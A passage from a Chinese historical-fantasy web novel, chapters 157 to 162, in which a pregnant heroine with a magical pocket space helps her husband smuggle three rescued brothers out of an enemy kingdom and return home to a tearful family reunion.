宁芷薇看着七哥眼中的痛楚,心中一阵酸涩。她默默地走到秦徒扬身边,开始检查他的伤势。 “我们在东陲皇宫找到的六哥。”秦远霄简单说明了经过,声音里带着一丝疲惫,“蜀陲皇帝已死,局势必乱,我们得赶紧离开。” 屋外传来了嘈杂的脚步声,似乎有巡逻的士兵经过。众人不约而同地屏住呼吸,直到脚步声渐渐远去。 四哥苦笑着摇了摇头:“九弟,我和七弟这副残躯,只怕会拖累你们。”他的腿上还留着当年受伤的痕迹,走路时总是有些不便。 “是啊,你和九弟妹还是先走吧。”七哥也劝道,眼中满是担忧,“我们会想办法自己离开。” 第一百五十七章 宁芷薇看着两位兄长,心中一暖。这些年来,他们虽然各自遭遇不幸,但那份手足之情却从未改变。她取出银针:“四哥七哥别担心,让我先帮你们调理一下。” 她的手法利落而精准,银针在阳光下闪着寒光。很快,两位兄长就在针灸的作用下沉沉睡去。宁芷薇又给六哥施针,确保他们的状态稳定。 “芳儿珊儿,过来。”她又唤来两个丫鬟前来帮忙。 秦远霄看着她忙碌的身影,眼中满是怜惜。自从知道她有孕在身,他就更加心疼她。但现在的情况不容他们多做停留。 两人简单用过早饭,换了装扮准备出城。宁芷薇特意选了一件宽松的衣裙,既能遮掩身形,又方便行动。 此时的东陲皇宫已是一片混乱。消息像长了翅膀一样在宫中传开,皇帝失踪的事实让所有人都惊慌失措。 太子得知父皇失踪的消息,眼中闪过一丝喜色,随即又恢复了悲痛的表情。他立即下令封锁全城,派出大批士兵搜捕可疑人员。 城门口,士兵如潮水般涌来。他们手持长矛,严密把守着每一个出城的通道。普通百姓被盘查得战战兢兢,有些甚至被当场拦下。 秦远霄揽住宁芷薇的腰:“我带你翻城墙。”他的声音很轻,但充满了坚定。 宁芷薇下意识护住小腹,轻轻点头。她知道现在不是犹豫的时候,必须尽快离开这是非之地。 两人刚跃上城墙,就听见士兵的呐喊声。“站住!”、“有人要翻墙!”的喊声此起彼伏。 箭矢破空而来,发出尖锐的呼啸声。秦远霄立刻将宁芷薇护在怀中,用身体为她挡住可能的伤害。 宁芷薇见势不妙,意念一动带着两人进入界阙。城墙上的士兵揉着眼睛,不敢相信眼前发生的一切。两个人就这样凭空消失了,仿佛从未出现过。 界阙内,秦远霄紧张地检查宁芷薇:“没伤到吧?”他的手有些颤抖,显然是被刚才的情况吓到了。 “我没事。”宁芷薇安抚道,轻轻拍了拍他的手,“我们换身衣服再出去。这样更安全一些。” 十分钟后,两人重新出现在城外。他们已经换上了一身鲜艳的衣服,看起来就像是普通的夫妻。 大批士兵正在搜寻灰衣男子和素衣女子,对这对穿着鲜艳的夫妇却视而不见。两人装作惊慌的样子,混在逃窜的百姓中。 一路上虽然被盘查数次,但都安然度过。宁芷薇时不时摸摸自己的小腹,心中默默祈祷孩子平安。 终于,在一个多时辰后,他们来到了下一座城池。城门口的守卫松散了许多,显然蜀陲皇帝失踪的消息还没有传到这里。 两人对视一眼,都看到了对方眼中的如释重负。但他们知道,这只是逃亡路上的第一步,前方还有更多的挑战等待着他们。 东陲的风裹挟着几分燥热,吹得路边的草木沙沙作响。空气中飘散着淡淡的尘土气息,远处的天际线被暑气扭曲得有些模糊。 宁芷薇站在路边,望着眼前平静的官道,心中暗自庆幸。她的手指无意识地摩挲着衣袖,脑海中不断回放着这几日的惊险逃亡。所幸东陲官兵显然没料到他们能逃得这般快,封锁的消息尚未传到这里,一切看起来安宁祥和。 从都城一路逃出,竟出奇的顺利。只是眼下的情况却让她不得不重新考虑接下来的行程。人数的增加让原本的大G已不能再用,好在她早有准备,界阙里饲养的马匹此刻正好派上用场。 “远霄,”宁芷薇轻声唤道,目光落在身旁的马车上,“帮我看看这马车如何?” 她刚用炼物台制作了两辆马车,外表朴实无华,与寻常行商所用的马车并无二致。唯一的区别是车厢没有开窗户,车门还特意加了锁。这些细节都是她深思熟虑后的决定。 秦远霄绕着马车缓步走了一圈,仔细检查着每一处细节。他修长的手指轻轻敲击着木质车厢,眉头微微蹙起:“车厢内是不是太简陋了些?四哥和七哥的身子...” “你放心。”宁芷薇不等他说完,便掀开厚重的车帘。温暖的阳光透过帘缝洒进车厢,照亮了内里的布置,“我特意用上好的棉布包裹了厚厚的棉花,躺上去比寻常床铺还要舒服。” 秦远霄探身进去摸了摸,眼中闪过一丝赞许。他的娘子总是这般细心周到,将每一个细节都考虑得妥帖周全。 “至于没开窗户,”宁芷薇继续解释道,声音压得很低,“若是遇到危险,我可以直接将马车收进界阙,也省得他们看到外面的情形。” 说着,她弯腰抱起蹲在一旁的墨圆儿。这只胖乎乎的小家伙正无聊地用爪子拨弄着地上的草叶:“小家伙,这几天你得和两个姐姐挤一挤了。” 墨圆儿委屈地蹭了蹭她的手心,圆溜溜的眼睛里满是不情愿。但它还是乖乖地钻进了车厢,找了个角落蜷缩起来。 宁芷薇轻手轻脚地将昏迷的三位兄长安置在一辆马车,动作轻柔得仿佛在对待易碎的瓷器。芳儿和珊儿则被安排在另一辆马车,两个姑娘虽然惊魂未定,却也很快安静下来。 “现在只剩一个问题,”秦远霄望着两辆准备妥当的马车,眉间浮现出一丝忧虑,“我们需要雇个车夫。这一路上少不得要经过城镇,若是只有我们两个...” “不必。”宁芷薇斩钉截铁地摇头,眼中闪过一丝阴霾,“明子的事让我明白,多一个人就多一分风险。我也会赶车,咱们一人赶一辆便是。” “可你现在...”秦远霄的目光不自觉地落在她微微隆起的腹部,话到嘴边又咽了回去。 宁芷薇察觉到他的担忧,柔声道:“我亲自为自己号过脉,孩子很健康。而且我在外面反而更好,遇到危险能第一时间应对。” 她拉住秦远霄的手,感受着他掌心传来的温度。这个男人总是这样,看似冷静自持,实则处处为她着想。 秦远霄沉默良久,眸中情绪翻涌,终究点头应允。他何尝不知她说得有理,可看着怀有身孕的娘子还要受这般奔波之苦,心中愧疚难当。 两人各自驾着一辆马车向城门驶去。初夏的阳光毒辣,照得地面一片灼热。宁芷薇时不时用袖子擦拭额头的汗水,却始终保持着警惕。 太子府失窃的消息已传遍全城,守卫盘查得格外仔细。城门口排起了长队,每个出城的人都要接受详细检查。 第一百五十八章 宁芷薇暗中观察着守卫的巡逻规律,在发现一个短暂的空档后,眼疾手快地将马车收入界阙。她与秦远霄装作寻常夫妻,混在人群中步行过关。 守卫们果然没有多加留意这对看似普通的夫妻,只是例行公事地问了几句便放行了。 出了城门,两人找了个偏僻的林间空地,重新取出马车继续赶路。 约莫一个时辰后,车厢内突然传来珊儿的惊叫:“啊!芳儿姐姐,这里有个毛团子!” “别怕,那是我精心饲养的萌宠。”宁芷薇连忙解释,语气轻柔,“我们正在赶往永安的路上,为了安全才特意选了这种密闭的马车。你们放心,我和相公一定会护你们周全。” 芳儿安抚着受惊的珊儿,心中暗暗感激。她们姐妹能得遇这样的贵人相救,实在是上天眷顾。 日头渐渐西斜,暑气稍减。宁芷薇放缓马车速度,让马儿得以喘息。她抬头望着渐变的天色,心中盘算着今晚的住宿。 忽然,远处传来一阵急促的马蹄声。宁芷薇神经瞬间紧绷,手不自觉地摸向腰间的暗器。 秦远霄也察觉到了异常,驾着马车靠近她:“别慌,或许只是寻常的行商。” 话音未落,一队骑兵已出现在视野中。为首的将领手持令旗,正在沿途盘查过往行人。 宁芷薇心跳骤然加快,手心渗出细密的汗珠。她强迫自己保持镇定,低声道:“远霄,待会我数到三,你就...” 珊儿向来都是个听话的姑娘,这也是四公主和亲时选择带上她的原因。她总是跟着芳儿的步调走,从不多问,也不多想。此刻,她站在马车旁,望着远处渐渐消失的山影,手指不自觉地绞着衣角。 宁芷薇并不知道珊儿心中所想,只是将事情交代清楚后,便催促着继续赶路。马蹄声在寂静的夜色中显得格外清晰,车轮碾过地面的声响混杂着远处传来的虫鸣。 “走吧,时间不等人。”宁芷薇低声说道,目光扫过远处隐约可见的山峦。夜风吹拂,带来一丝凉意,她下意识地裹紧了外衣。 马车在颠簸中前行,秦昭玄是最先醒来的那个。黑暗中,他敏锐的武者直觉让他很快意识到自己正在一辆行驶的马车上。身边躺着的是四哥和六哥的气息,他轻轻推了推四哥的肩膀。 “四哥,醒醒。”他的声音压得很低,生怕惊动了什么。 秦修远本就有些意识,被这么一推立刻清醒过来。他的眼睛在黑暗中迅速适应,警惕地打量着四周。 “七弟?”他的声音还带着几分沙哑,喉咙像是被火烧过一般干涩。 “四哥七哥别担心,现在没啥可担心的。”秦远霄的声音从前方传来,带着一丝疲惫却依然温和。 听到九弟的声音,两人紧绷的神经顿时放松下来。秦昭玄靠在车厢上,长长地呼出一口气。他们被囚禁的日子里,每一天都像是一场漫长的噩梦。 宁芷薇坐在另一辆马车里,透过车窗看着前方的景色飞速后退。她的手指无意识地摩挲着界阙戒指,那里面装着他们此行最重要的东西。她知道现在最重要的是尽快离开东陲的势力范围。 日头已经升到正中,他们刚进入东陲最大的一座城池。街道上行人络绎不绝,市井的喧嚣声传入耳中。宁芷薇注意到秦远霄的脸色有些发白,显然连日的奔波让他也有些吃不消。 “夫君,要不要先找个地方休息?”她轻声问道,眼中满是关切。 秦远霄抹了把额头的汗水,点点头:“找个偏僻点的地方停下,我们简单吃点东西就继续赶路。” 他们将马车停在一处僻静的巷子里。巷子两旁的墙壁上爬满了藤蔓,空气中飘着一股淡淡的花香。宁芷薇从界阙里取出一些速食,分给大家。 墨圆儿一看到主人就欢快地扑进她怀里,发出奶声奶气的叫声。它蹭着宁芷薇的手心,小爪子不安分地扒拉着。宁芷薇宠溺地摸摸它的脑袋,给它准备了最爱吃的食物。 正当他们准备继续赶路时,秦昭玄的声音突然响起:“九弟,六哥醒了!” 秦远霄和宁芷薇立刻赶过去。阳光透过车窗照进来,照亮了秦徒扬苍白的面容。他已经坐起身,但眼神还有些迷茫,像是在努力理清现状。 “六哥。”几个人同时喊道,声音中带着掩饰不住的欣喜。 “老七,这是...我们得救了?”秦徒扬看向秦昭玄,声音中带着几分不确定。他的目光在车厢内扫视,似乎在确认这一切是否真实。 秦修远叹了口气,声音中带着压抑的怒意:“六弟,我们都被东陲的沧澜先生控制了,多亏九弟和九弟妹来救我们。” 秦徒扬这才注意到其他人的状况,每个人都消瘦得不成样子。他们的衣服松垮地挂在身上,眼窝深陷,显然这段时间过得并不好。 “九弟在哪?”他环顾四周,声音有些急切。 秦远霄靠在车厢边上,脸上露出一丝苦笑:“六哥,我在这,只是现在乔装了一下。”他的手指轻轻抚过自己的面具。 “六哥,你感觉身体如何?”他关切地问道,目光落在秦徒扬略显苍白的脸上。 秦徒扬听完四哥和七弟的解释,怒火中烧,一拳砸在车厢上。木板发出不堪重负的声响,甚至裂开了一道缝隙。他的指节因为用力而发白,青筋在手背上清晰可见。 宁芷薇心疼地看着车厢,幸好当初选了上等木料。她悄悄地退到一旁,给几位兄弟独处的界阙。 “六哥,都是过眼云烟了。”秦远霄轻声劝道,他知道六哥此刻的心情。 秦徒扬深吸一口气,他知道现在不是发怒的时候。他们还在危险之中,必须尽快离开这里。 “九弟,接下来有什么打算?”他强迫自己冷静下来,开始思考眼前的局势。 秦远霄看了眼外面的天色:“我们先离开东陲的势力范围,然后再做打算。” 宁芷薇从马车外探进头来:“夫君,马匹都休息好了,我们是不是该继续赶路了?” 秦远霄点点头,示意大家准备出发。马车重新开始移动,朝着远离东陲的方向驶去。车轮碾过地面的声响渐渐远去,消失在这座城池的喧嚣中。 墨圆儿蜷缩在宁芷薇的怀里,发出轻微的呼噜声。她轻轻抚摸着它的毛发,目光透过车窗望向远方。天边的云彩染上了晚霞的颜色,像是燃烧的火焰。 第一百五十九章 马车继续向前,驶向未知的远方。每个人都沉浸在自己的思绪中,谁也没有说话。只有马蹄声和车轮的响动打破了这份沉默,仿佛在诉说着这段不为人知的逃亡之旅。 “你们说的这些我都明白,只是心里有些不痛快。”秦徒扬的声音透着几分疲惫,他靠在车厢内壁上,目光略显涣散地望向窗外掠过的暗影。 车轮碾过石子发出细微的响动,秦远霄见六哥情绪渐趋平静,暗自松了口气。他稍稍加快了马车的速度,夜风掠过脸颊,带来一丝凉意。 突然,身后传来“吱呀”一声,车厢的门被人从里面推开。清冷的月光下,秦徒扬略显苍白的面容显得格外清晰。 “九弟,让我来替九弟妹赶车吧。”他的声音里带着关切,“她一个女子,赶了这么久的车,想必已经累了。”说着,他就要从车厢里跳下来。 宁芷薇心头一紧,手中的缰绳不自觉地攥紧了几分。她连忙开口:“六哥,我真的没事。你刚解了蛊毒,身子还很虚弱,还是在车厢里好好休息比较妥当。况且四哥和七哥的伤势也需要人照看。” 她的声音虽轻,却带着不容置疑的坚定。她与秦远霄早有约定,若遇危急,便将马车连人带物送入界阙。若让六哥来赶车,这计划就难以施行。为了众人能平安离开东陲,她必须坚持。 夜色渐深,远处传来几声零星的虫鸣。秦远霄其实很想让六哥替换媳妇,但想到路途凶险,若没有媳妇的界阙相助,七个人根本无法安全脱身。他不忍地看了眼宁芷薇被月光映照的侧脸,硬着头皮道:“六哥,薇薇懂医术,跟着她走绝对靠谱。” 秦徒扬站在车厢门口,微风吹动他的衣袍。他仔细感受了下身体状况,除了些许头晕心慌,倒也无大碍。见他们夫妻如此坚持,也就不再强求。 “也罢,我先休息,小妹要是乏了我来顶上。”他的语气中带着几分无奈。 “好,我记住了。”宁芷薇应着,继续驾车前行。马蹄声在寂静的夜色中显得格外清晰。 路上偶尔会遇到零星的行人,每当这时,宁芷薇就会刻意放慢速度,装作普通的商旅。她能感觉到,每个经过的人都会多看几眼这支夜行的队伍,那目光中带着难以掩饰的探究。 很快,城门的轮廓出现在视野中。这些日子因他们闯入塞北的事,东陲各处城门都加强了防守,岗哨比来时多了许多。火把的光芒在夜色中格外醒目,守卫们来回巡视的身影透着几分肃杀之气。 按照计划,他们寻了处偏僻巷子停下。秦远霄听着车厢里兄长们的低声交谈,觉得有必要解释一番。他转身看向车厢,声音压得很低:“四哥、六哥、七哥,前面就是城门了。那里守卫森严,我和薇薇易容后去探探路。你们在车里都保持安静,以免惹人注意。” “你们小心行事。”四哥低沉的声音从车厢内传出,随后便归于寂静。 宁芷薇深吸一口气,挥手将两辆马车收入界阙。她与秦远霄对视一眼,装作普通夫妻的模样朝城门走去。 夜已深沉,城门口除了值守的兵卒外少有行人。两人虽遭盘问,却被秦远霄巧妙应对过去。守卫们狐疑的目光在他们身上逡巡,最终还是放行了。 出城后,宁芷薇立即取出马车。秦家兄弟对九弟夫妻极为信任,纵有疑惑也未多问。夜风渐冷,他们在山脚找了处避风的地方歇息。 宁芷薇取出银针,为六哥施针。“六哥,这是因封闭意识太久,大脑重启时的不适,休养几日便可痊愈。”她的动作轻柔而专注,“我再给你开些调理的药,按时服用就好。” 秦徒扬感受着针尖传来的微痛,目光略显复杂地看着这个九弟的妻子。他没想到,这个看似柔弱的女子,不仅医术高明,还有如此胆识。 翌日拂晓,一行人继续赶路。虽已做好遭遇麻烦的准备,但或许是蜀陲皇帝失踪,朝中无人发令的缘故,这一路竟出奇地顺利。 四天后,他们终于抵达东陲边境。秦远霄认为夜晚出关更为有利,况且他还有一件大事要办,夜色正好掩护。 等车厢内众人入睡,宁芷薇才将马车送入界阙。月光下,秦远霄愧疚地看着妻子疲惫的面容,郑重道:“薇薇,我们动身吧。” “好。”她轻声应道,眼中闪过一丝担忧。 秦远霄轻揽住她的腰,一跃而上制高点。夜风吹动他们的衣袂,远处的关口灯火通明,守卫们的身影清晰可见。两队士兵轮流巡逻,交替时会出现十几秒的空档,正好趁机越过关口。 宁芷薇心跳加快,此时的防守比他们来时严密得多。每个守卫都握着明晃晃的刀剑,稍有异动就会引来致命危险。秦远霄感受到她的紧张,低声安慰:“相信我,我一定护你和孩子周全。” 两人屏息凝神,抓准时机,一跃而起。落地时已过关口五十米,见巡逻士兵即将折返,宁芷薇立即带着秦远霄进入界阙。 界阙内光线柔和,却掩盖不住即将发生的血腥。秦远霄转向妻子,声音低沉:“薇薇,别看。”他准备处理蜀陲皇帝的尸首。 宁芷薇只觉胃部一阵翻涌,光是想到那画面就觉得反胃:“我去医务室,你好了叫我。”她快步离开,不愿看到接下来的场景。 等妻子走远,秦远霄才利落地取下蜀陲皇帝首级。鲜血溅在他的衣袖上,却丝毫不影响他的动作。两人再度离开界阙,奔出数百米,在一棵大树下停下。宁芷薇取出尸体和人头,秦远霄随手提起。 夜风呼啸,树影婆娑。秦远霄看向妻子,声音坚定:“薇薇,你在此等我。若有危险就躲入界阙,我那边若有异常也会速来此处与你会合,你只需偶尔出来看看就好。” 宁芷薇知道自己此时只会拖累他,可让相公独自冒险,她又怎能不担心?她望着秦远霄的背影,心中五味杂陈。夜色渐深,风声呜咽,仿佛在为即将发生的事情低声哭泣。 宁芷薇的心跳得厉害,指尖微微发颤。 她望着眼前的男人,那张俊美的面容在月光下显得格外清冷。脑海中闪过一个念头,前世那些防弹衣,连子弹都能挡住,这个时代的冷兵器,自然不在话下。 夜风轻拂,带来远处营地的喧嚣声。秦远霄整理着衣袖,眸光沉静,显然已经做好了准备。 “等等。”她轻声唤住正要离开的人。 秦远霄转身,目光温柔地看着她。月色下,他的眼眸如同一泓深潭,映着点点星光。 第一百六十章 宁芷薇的手指微微颤抖,迅速在仙市阁商铺购买了一件最高级的防弹衣。这是她能找到的最好防护,虽然价格不菲,但只要能保护他,再多钱都值得。 “把这个穿上。”她将防弹衣递到他面前,声音里带着一丝不易察觉的颤抖。 秦远霄接过那件造型奇特的衣服,修长的手指摩挲着布料,眉头微微蹙起:“这是何物?” “防弹衣,刀枪不入的宝贝。”她语气刻意放得轻快,心里却沉甸甸的,“穿在里面,外面再套上常服。” 秦远霄虽然不解,但还是听话地穿上。宁芷薇亲自帮他整理衣襟,指尖触碰到他的胸膛时,能感受到那有力的心跳。 她又取出一个装满手雷的袋子,仔细地挂在他腰间。这些东西的使用方法,他早已烂熟于心。每一颗手雷都经过她反复确认,确保万无一失。 “小心些。”她抬头看着他,眼中满是担忧。月光下,她的眼眸泛着水光,像是随时会落下泪来。 秦远霄伸手轻抚她的脸颊,掌心的温度让她微微安心:“放心。” 说完,他便带着蜀陲皇帝的尸身离去。背影很快消失在夜色中,仿佛融入了黑暗。 宁芷薇站在原地,望着他离开的方向,心跳快得几乎要冲出胸膛。她下意识摸了摸自己平坦的小腹,轻声呢喃:“宝宝,我们一起祈祷你爹爹安全归来。” 夜色渐深,远处传来零星的虫鸣。她强迫自己保持冷静,但每一分每一秒都像是煎熬。 秦远霄施展轻功,在东陲士兵头顶掠过,落在关口最高处。月光下,他的身影如同一道黑色闪电,迅捷而无声。 他动作利落地将人头悬挂,尸体随意丢弃。血腥的场面在月色下显得格外骇人,但这正是他想要的效果。 “有奸细!”下方传来惊呼,打破了夜的寂静。 火把迅速亮起,照亮了半边天空。无数支箭矢破空而来,划破夜色,发出尖锐的呼啸声。 秦远霄神色沉着,取出手雷朝人群最密集处扔去。他的动作干净利落,仿佛早已预演过千百遍。 “轰!” 巨响过后,爆炸在地上轰出个巨坑,烟尘四起。数十名士兵被炸飞,凄厉的惨叫声此起彼伏。后面追来的士兵猝不及防,纷纷跌入坑中,场面一片混乱。 “妖法!是妖法!”有人惊恐地大喊。 秦远霄趁乱逃离,身后箭雨密集。火光照亮了他的身影,成为了最好的靶子。 几支箭矢击中他的肩膀和后背,但他并未感到疼痛。低头一看,衣服虽破,却毫发无损。 他这才真正明白媳妇儿给的防弹衣有多神奇。心中涌起一阵暖意,她总是这样,把他的安危放在第一位。 又扔出两颗手雷断后,爆炸声和惨叫声交织在一起。借着混乱,秦远霄轻松突围,身影很快消失在夜色中。 当他回到宁芷薇身边时,她立刻扑进他怀里。他能感觉到她在微微发抖,显然是担心坏了。 “担心了?”他轻声问,手掌轻抚她的后背。 “安然无恙我就放心了。”她紧紧抱着他,呼吸间都是他身上熟悉的气息。 远处传来嘈杂的追兵声,宁芷薇很快恢复冷静:“这里太危险赶紧撤。” 秦远霄抱起她,朝永安方向疾驰。夜风呼啸,树影婆娑,两人的身影在月光下时隐时现。 待到天边泛白,他们已深入永安境内。晨露打湿了衣衫,带来丝丝凉意。 宁芷薇取出界阙里的马车,将其他人放出。清晨的阳光洒在马车上,驱散了夜的阴霾。 秦徒扬醒来,发现马车正在行驶。他揉了揉太阳穴,似乎还有些不太清醒。 “九弟,我们到哪了?”他敲门问道,声音里带着几分困倦。 “已入永安境内,一切顺利。”秦远霄答道,语气平静如常。 “如何做到的?”秦徒扬惊讶地问,“东陲重兵把守,怎么可能这么容易就过来了?” 秦远霄停下马车,打开车门。晨光中,他的面容显得格外疲惫,但眼神依旧清明:“蜀陲皇帝被杀,军营大乱,我趁机逃出。” “竟有这等事?”秦徒扬跳下马车,仍有疑虑,“我睡得很浅,为何毫无察觉?这一路颠簸,我竟然都没醒?” 宁芷薇适时解释:“是我的助眠针法。”她看了眼秦远霄,后者对她微微点头。 “难怪我头晕也好了。”秦徒扬恍然大悟,“多谢弟妹。” 马车继续前行,车轮碾过泥土的声音混合着鸟鸣,构成了清晨最美的乐章。宁芷薇靠在秦远霄肩上,终于松了一口气。 这一夜的惊心动魄总算过去,但她知道,这只是开始。未来还有更多的挑战等着他们,但只要两人在一起,就没有什么过不去的坎。 马车缓缓驶入东溪村的时候,宁芷薇正靠在车厢里打盹。车轮碾过泥泞的道路,发出细微的声响,混合着远处传来的鸟鸣,让人昏昏欲睡。 突然,一阵嘈杂的声音划破了宁静的氛围,惊醒了她。 “官爷,秦家九爷夫妇俩这半月都神隐了!这事儿太蹊跷了!”一个尖锐的男声传来,语气中带着明显的挑拨意味。 宁芷薇睁开眼,眉头微皱。她轻轻掀开车帘一角,就看到几个身穿官服的人被两个苏家人带着往村里走。那两个苏家人神色谄媚,不停地在官差耳边说着什么。 “这苏家还真是阴魂不散。”宁芷薇轻声嘀咕,指尖无意识地摩挲着车窗边缘。 马车突然加快了速度,她知道是远霄也听到了动静。车厢轻微晃动,墨圆儿从她膝上滚落,发出一声不满的叫声。 “薇薇,你先别出声。”秦远霄低沉的声音从前面传来,带着几分警惕。 宁芷薇点点头,虽然知道他看不见。她将墨圆儿重新抱起,轻轻抚摸着它的毛发。芳儿和珊儿也屏住呼吸,紧张地看着外面的情况。 很快,马车追上了前面的人群。车轮碾过地面的声响引起了众人的注意。 “马官爷这是来东麓村办差?”秦远霄的声音透着几分从容,仿佛只是偶遇故人般随意。 第一百六十一章 宁芷薇听到那位官爷惊喜的回应:“哎呦喂,这不是九爷吗,您老人家跑哪溜达去了?大家都说好些日子没见着您了。” 她悄悄掀开帘子一角,正好看到那两个苏家人脸色发白的模样。他们站在原地,手足无措,显然没想到秦远霄会突然出现。 “让人帮忙买了一对马车回来,刚从城里带东西回来。”秦远霄的回答滴水不漏,语气平静中带着几分笑意,“这不,刚办完事就赶着回来了。” 宁芷薇忍不住勾起嘴角,这个借口找得可真是巧妙。她看着那两个苏家人额头渗出的冷汗,心中暗暗发笑。 车厢里,芳儿和珊儿也松了一口气。两人对视一眼,都看到了对方眼中的庆幸。 “九夫人,看来是虚惊一场。”芳儿小声说道,声音里还带着些许紧张。 珊儿连连点头:“可不是么,幸亏咱们赶回来得及时。” 宁芷薇安抚地拍了拍两个丫鬟的手,心里却在想,这苏家还真是不死心。自打她嫁进秦家,这苏家就没消停过。 外面传来皮鞭抽打的声音,还有苏家人的求饶声。 “官爷饶命啊,咱几个认错服软了!我们再也不敢了!”凄厉的哭喊声回荡在村道上。 宁芷薇听着那凄惨的叫声,却生不出半点同情。若不是她和远霄提前回来,怕是又要惹出一番波澜。想到这里,她不由得摸了摸自己的小腹,眼中闪过一丝担忧。 等马车重新赶路,秦徒扬才从另一辆马车探出头来,问起刚才的事。 “九弟,这是怎么回事?那苏家怎么又来找麻烦了?” 宁芷薇听着远霄简单解释了当初和苏家的恩怨,不禁想起那段刚来东麓村的日子。那时候她刚嫁给远霄不久,苏家就没少给他们使绊子。从偷鸡摸狗的小事,到挑拨离间的阴谋,可谓是无所不用其极。 墨圆儿似乎感觉到主人的情绪波动,轻轻蹭了蹭她的手,发出细微的呜咽声。 宁芷薇摸摸它的小脑袋,心里暖暖的。这只小宠物是远霄送给她的第一件礼物,虽然不值什么钱,却是她最珍视的宝贝之一。 马车渐渐驶入熟悉的巷子,两旁的槐树在微风中轻轻摇曳,斑驳的树影洒在地上,像是一幅流动的画卷。 马车缓缓停在院门前,秦远霄的手搭在车帘上,迟迟没有掀开。透过帘缝,他看到院里依旧是记忆中的模样:老槐树下的石桌,母亲最爱的那片菊花,甚至连墙角那处略显斑驳的痕迹都丝毫未变。 宁芷薇察觉到丈夫的迟疑,轻轻握住他的手。她能感受到他掌心微微的颤抖,知道此刻他心中百感交集。 “ 薇薇,到家了。”秦远霄的声音温柔中带着几分疲惫。 就在这时,院里传来一声尖锐的呼喊:“九弟回来了!”是二嫂的声音。 这一声呼喊仿佛捅破了这片寂静,院子里瞬间沸腾起来。仆人们纷纷放下手中的活计,朝大门口跑来。二嫂更是顾不得形象,提着裙摆就往外冲。 宁芷薇坐在在马车里,看着眼前这一幕,不由得想起这一路上的种种。从东陲到京城,他们走了将近两个月,途中找到了失散多年的三位兄长。每一次重逢都是泪水与欢笑交织,而今天,终于要见证最后的团圆。 秦徒扬从后面的马车上一跃而下,他顾不得擦拭满面的尘土,大步流星地朝院内冲去。 “娘!”他的声音沙哑得几乎认不出来。 秦老夫人站在台阶上,身子微微发颤。她的目光死死盯着眼前的儿子,似乎不敢相信这是真的。那张饱经风霜的脸上,泪水无声地流淌。 “是我,娘,是徒扬回来了。”秦徒扬跪在母亲面前,紧紧抱住她的腿。 六嫂从人群中挤出来,一把抓住秦徒扬的衣袖,声音哽咽:“真的是你吗?这些年你去哪了?” 宁芷薇看着这一幕,不禁回想起在东陲初遇秦徒扬的情景。那时的他浑身戾气,眼神中充满了仇恨与不信任。如今见到亲人,那些伪装出的坚强终于土崩瓦解。 “娘......”一个虚弱的声音从马车里传出。 是四哥秦修远。 宁芷薇连忙上前帮忙掀开车帘。映入眼帘的是两张憔悴的面容,四哥和七哥都瘦得不成人形。他们的脸色苍白如纸,眼窝深陷,仿佛一阵风就能将他们吹倒。 “修远!”“七郎!”四嫂和七嫂的哭喊声几乎同时响起。 两位嫂子冲到马车前,瞧见相公那凄惨模样,双双跪倒在地。四嫂的手紧紧攥着马车的踏板,指节发白。 “夫君,你怎么成这样了?我这就去请大夫来!”四嫂说着就要起身。 宁芷薇赶紧拉住她:“四嫂不必着急,我已经给两位兄长诊过脉了。他们的伤势虽重,但只要好好调养,一定能康复。” 四嫂红着眼睛从怀中掏出一个沉甸甸的荷包,塞到宁芷薇手里:“九弟妹,这是我这些年的所有积蓄。求你一定要治好你四哥,只要能治好他,让我做什么都行。” 宁芷薇看着四嫂手中那个布满补丁的荷包,喉咙一阵发紧。荷包虽旧,但每一针一线都透着主人的细心,边角处甚至还绣着几朵小巧的梅花。这是四嫂多年来靠着缝制绣偶攒下的积蓄,如今为了给丈夫治病,她毫不犹豫地全部拿了出来。 “四嫂...”宁芷薇的声音有些哽咽,她握住四嫂因常年劳作而粗糙的手,将荷包轻轻塞了回去,“这些钱你先收着,四哥的伤势我一定会想办法医治。” 这些银钱你留着,往后给四哥补身子用吧。” 话虽如此,可看着秦修远那惨白的脸色,宁芷薇心里也没有十足的把握。那些年在井底的折磨,不仅摧残了他的身体,更在他的灵魂上留下了无法抹去的伤痕。 四嫂紧紧攥着荷包,指节因用力而发白。她抬头看向宁芷薇,眼中闪烁着希望的光芒,嘴唇颤抖着想说什么,却最终化作一声轻叹。 马车内,秦修远靠在车厢上,透过帘子的缝隙望着妻子的背影。岁月虽然在她脸上刻下了痕迹,但那份坚韧依旧如当年一般。他想起身将她拥入怀中,可如今连抬手的力气都没有,只能任由泪水悄然滑落。 “快,把四爷和七老小心抬进屋。”秦远霄的声音打破了这份沉寂。他看着两位兄长的惨状,眉头紧锁,声音中带着难以掩饰的心疼。 几个家丁立即上前,动作轻柔地将两位伤者抬下马车。四嫂和七嫂紧随其后,她们将所有能找到的棉被都搬了出来,把床铺垫得又厚又软。 “我去烧炕。”四嫂擦了擦眼角,转身就要往外走。 “等等,我和你一起。”七嫂连忙跟上,两人的背影显得有些单薄却坚强。 第一百六十二章 秦老夫人颤巍巍地走到马车前,看着躺在车厢里的两个儿子,老泪纵横:“这些年,你们到底经历了什么?怎么会伤成这样......” 宁芷薇扶住婆婆的手臂:“娘,先让他们回房休息吧。这一路颠簸,更需要静养。等他们的身子好些了,再慢慢说也不迟。” 看着众人忙碌的身影,宁芷薇心中暗暗盘算着治疗的方案。四哥的伤势最重,内脏受损,经脉淤阻,需要用温和的药物慢慢调理。七哥虽然也很虚弱,但主要是气血不足,只要按时服药,调养个把月就能好转。 宁芷薇掀开帘子,熟悉的院子映入眼帘。青砖黛瓦的房子,门前的石狮子,还有那棵开得正艳的海棠树,一切都和离开时一样。 虽然只离开了半个多月,但此时看到家门,还是让她感到无比安心。这里承载着她和远霄的点点滴滴,是他们的避风港。 刚要下马车,见远霄快步走了过来。他的脸上还带着些许风尘仆仆的痕迹,但眼中的柔情却丝毫未减。 “微微,让我来吧。” 他的动作很轻柔,将她从马车上抱了下来。宁芷薇能感觉到他的手臂微微发颤,显然这一路的奔波也让他疲惫不堪。 “你现在可不能太劳累。”秦远霄低声说道,眼里满是心疼,“医馆大夫说了,头三个月最是要紧。” 宁芷薇靠在他怀里,闻着熟悉的气息,这一路的疲惫仿佛都消散了。她能感觉到远霄的心跳,稳健而有力,就像他这个人一样,永远都是她最可靠的依靠。 “我没事,就是有点困。”她轻声说,声音里带着倦意。 秦远霄却不由分说,直接抱着她往屋里走。他的步伐很稳,生怕颠到了她。 宁芷薇红着脸,想说自己能走,可远霄已经抱着她进了屋。熟悉的檀香味扑面而来,让她感到无比安心。 将她轻轻放在床上, 